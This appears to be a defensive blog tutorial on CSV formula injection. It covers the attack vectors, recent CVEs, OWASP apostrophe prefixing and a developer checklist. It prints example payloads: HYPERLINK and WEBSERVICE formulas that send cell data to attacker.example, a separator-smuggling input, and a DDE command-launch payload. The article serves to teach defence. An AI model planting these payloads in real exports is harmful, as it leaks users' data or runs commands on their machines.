CSV Injection in 2026: When an Export Turns Excel Into a Security Hole
A CSV file is widely seen as the most harmless format there is: plain text, no code, no macros. That is exactly what makes it dangerous. The moment a user opens the export in Excel, LibreOffice, or Google Sheets, a cell that starts with =, +, -, or @ suddenly becomes a formula – one that can siphon off data or, in the worst case, run commands. This article explains how CSV injection works, why plain escaping is not enough, and how to secure your exports the OWASP way.
Why a harmless CSV becomes a weapon
CSV stands for »comma-separated values« and that is all it is: rows of text values separated by commas or semicolons. No scripts, no macros, no executable code. That is why many developers treat CSV exports as safe and write user input into them unchecked – names, comments, addresses, subject lines from a ticketing system.
The problem is not the file but the program that opens it. Excel, LibreOffice Calc, and Google Sheets interpret the content of a cell: if a value starts with an equals sign, it is no longer a string to them but a formula. This automatic behavior is exactly what CSV injection – also called formula injection – exploits.
The attacker does not need to compromise a server. They enter their payload into an ordinary input field that is later exported. The hole only snaps shut when a different user – often an admin – opens the export on their own machine.
How Excel turns text into a formula
Per the OWASP definition, a cell is treated as a formula when its content begins with one of these characters: =, +, -, or @. Two control characters that are easy to miss also count: the tab character (\t, 0x09) and the carriage return (\r, 0x0D). Both can trigger formula evaluation in Excel as well.
A simple example: if a user enters =1+1 as their name, the cell does not show the text after opening but the result 2. That looks like a curiosity. But the formula language knows functions that go far beyond simple arithmetic – from web calls to launching external programs to pulling in remote data.
The difference between the programs matters. Excel now shows a security warning when it opens a CSV containing potentially dangerous formulas. Google Sheets, however, runs some functions without any prompt at all. And even the Excel warning helps little: someone who downloaded a file from their own trusted system tends to click the dialog away out of habit.
Attack vectors: from HYPERLINK to DDE
The most elegant attack is data exfiltration via HYPERLINK. A cell containing =HYPERLINK("http://attacker.example/leak?d="&B2,"Click me") builds a link that, when clicked, sends the content of the neighboring cell B2 to a foreign server. If B2 holds a salary or a token, it lands with the attacker – no malware at all, just a built-in spreadsheet function.
Even quieter are functions that pull data automatically. =WEBSERVICE("http://attacker.example/?d="&A1) fetches a URL on its own in older Excel versions. In Google Sheets, =IMPORTXML(...), =IMPORTDATA(...), or =IMAGE(...) take over that role and can transmit the cell content to an external address, sometimes without a click.
The most dangerous vector is DDE (Dynamic Data Exchange). A payload like =cmd|'/c calc'!A0 can launch an arbitrary program on outdated Excel installations – calc as a harmless proof, then PowerShell or a downloader in real attacks. That leads to remote code execution, meaning a full takeover of the machine. Modern Excel versions have defanged DDE, but enough legacy installs run in companies to take the vector seriously.
Real cases and CVEs in 2025/2026
CSV injection is not a theoretical toy. In October 2025, CVE-2025-11279 documented a flaw in the project management tool Axosoft: the title field of a work item flowed unfiltered into CSV reports and could thus be abused for formula injection. A classic pattern – a free-text field that gets exported at some point.
2026 hit several open-source libraries. Under CVE-2026-9673, the popular npm package json-2-csv (versions from 3.15.0 up to before 5.5.11) was reported vulnerable: generated CSV output could contain functions like HYPERLINK, WEBSERVICE, or DDE calls. Also in 2026, CVE-2026-46672 affected the finance tool Actual CLI. Symfony followed suit with advisory GHSA-2xhg-w2g5-w95x and adapted its CSV exports to the OWASP recommendations.
In bug bounty programs, CSV injection is contested. Because the attack requires user interaction (opening the file, often a click through a warning), some programs rate it only as »medium« or exclude it. Because of the possible outcome – data leakage or code execution – others treat it as »high«. That disagreement does not change the fact that the hole is real and easy to trigger.
Why plain CSV escaping does not protect you
An obvious but wrong reflex is to treat this as a normal escaping problem. With SQL or HTML you escape special characters so they do not act as control characters – why not here too? The flaw in that thinking: a CSV file has no formula syntax you could escape. The file is perfectly correct and harmless. Only the spreadsheet turns the text into a formula.
Standard CSV quoting does not help. If you wrap a cell in double quotes – "=1+1" – Excel strips them on import as plain CSV quotes and still evaluates =1+1 as a formula afterward. The quotes are part of the CSV format, not part of the cell value. They do not prevent interpretation; they actually enable it, since they allow commas and line breaks inside a cell.
In short: the problem is not an injection into the CSV but an injection into the formula engine of the target application. You must secure it at the boundary between file and program – and that only works through the values themselves, not through the file format.
The OWASP countermeasure: the prefix
The core measure recommended by OWASP is as simple as it is effective: if a cell value starts with one of the dangerous characters, you prepend a single quote ('). Excel and LibreOffice read a leading apostrophe as »treat the rest as text« and no longer evaluate the cell as a formula. The apostrophe itself is not shown in the display.
Alternatively – or in addition – you can prepend a tab (\t) or a space. Symfony, for instance, prefixes every cell that starts with =, +, -, @, \t, or \r with a single quote after its security update. The important part is to cover all six starting characters, not just the obvious equals sign.
This handling belongs in one place: the export function, right before the values are written to the file. Doing it in the database would be wrong, because there =1+1 is a legitimate, harmless text. Only the path into the CSV makes it dangerous.
The overlooked part: separators and quotes
Checking only the first character of each cell is not enough – and this is exactly where many half-finished solutions fail. An attacker can smuggle the field separator into their input. If a value contains a semicolon or comma, a new cell begins after it in the table. Its content then starts with the next character – and that can be another =, even though the original value started out harmless.
An example: the input Max;=HYPERLINK("http://evil.example") looks innocent in the first field but opens a second field with an active formula. Anyone who checks only the beginning of the first cell misses it entirely. So when checking, you also have to keep an eye on the field separators (, and ;) and the quote characters (" and ') and secure each resulting cell individually.
The robust approach is therefore: quote values consistently (so separators cannot break out), double any contained quotes correctly, then check every logical cell for its starting character and prefix it. The most reliable way to do this is with a proven CSV library rather than hand-built string assembly.
Where the prefix hits its limits
Prepending an apostrophe is effective but not always free. For fields that legitimately start with a minus or plus – negative amounts, phone numbers in the +1... format, signs in measurements – the prefix changes the data: a number becomes text, which breaks sorting and further calculation in the table.
So it pays to consider the context. For pure free-text fields (names, comments, subject lines) the prefix is uncritical. For genuine number columns you validate the value server-side as a number and only write it without a prefix if it really is numeric – everything else counts as text and gets secured.
A fundamentally safer alternative is to deliver a format without formula interpretation: a real .xlsx file with cells explicitly typed as text, or a machine-readable JSON for further processing. Where CSV is mandatory, though, there is no way around the prefix approach.
A checklist for developers
To take away, compact: First – treat every CSV export with user data as potentially dangerous, not just the »obvious« fields. Second – prefix every cell that starts with =, +, -, @, \t, or \r with a single quote. Third – account for field separators and quotes so no second field can break out with a formula.
Fourth – apply the protection in the export layer, not in the database. Fifth – use a proven CSV library and check whether your version already handles formula injection (many only do after the 2025/2026 advisories). Sixth – test actively: enter =HYPERLINK(...), =1+1, and a DDE payload into your input fields and open the export in Excel and Google Sheets.
And when you open a CSV from an unknown source yourself: import it via the text-import wizard and declare suspicious columns as text by hand. Never click away security warnings reflexively just because the file appears to come from a trusted system.
How tools on CalcSI help
If you want to look at a questionable export safely first, convert it with CSV to JSON: in the JSON you see the raw values including leading =, +, or @ in plain text, without any spreadsheet running anything. To clean up and inspect the structure, the JSON formatter then helps you indent nested records clearly and search them for suspicious patterns. If a cell contains a URL with appended characters, the URL encoder/decoder makes it readable so you can tell what data a HYPERLINK or WEBSERVICE call would pull out. And to check exports or backups for unnoticed changes, generate a checksum over the original file with the hash generator. All four run entirely in your browser – the suspicious file never leaves your machine.
Comments
Comments are powered by Disqus. Before they load, we need your consent — Disqus is a third-party service and sets its own cookies.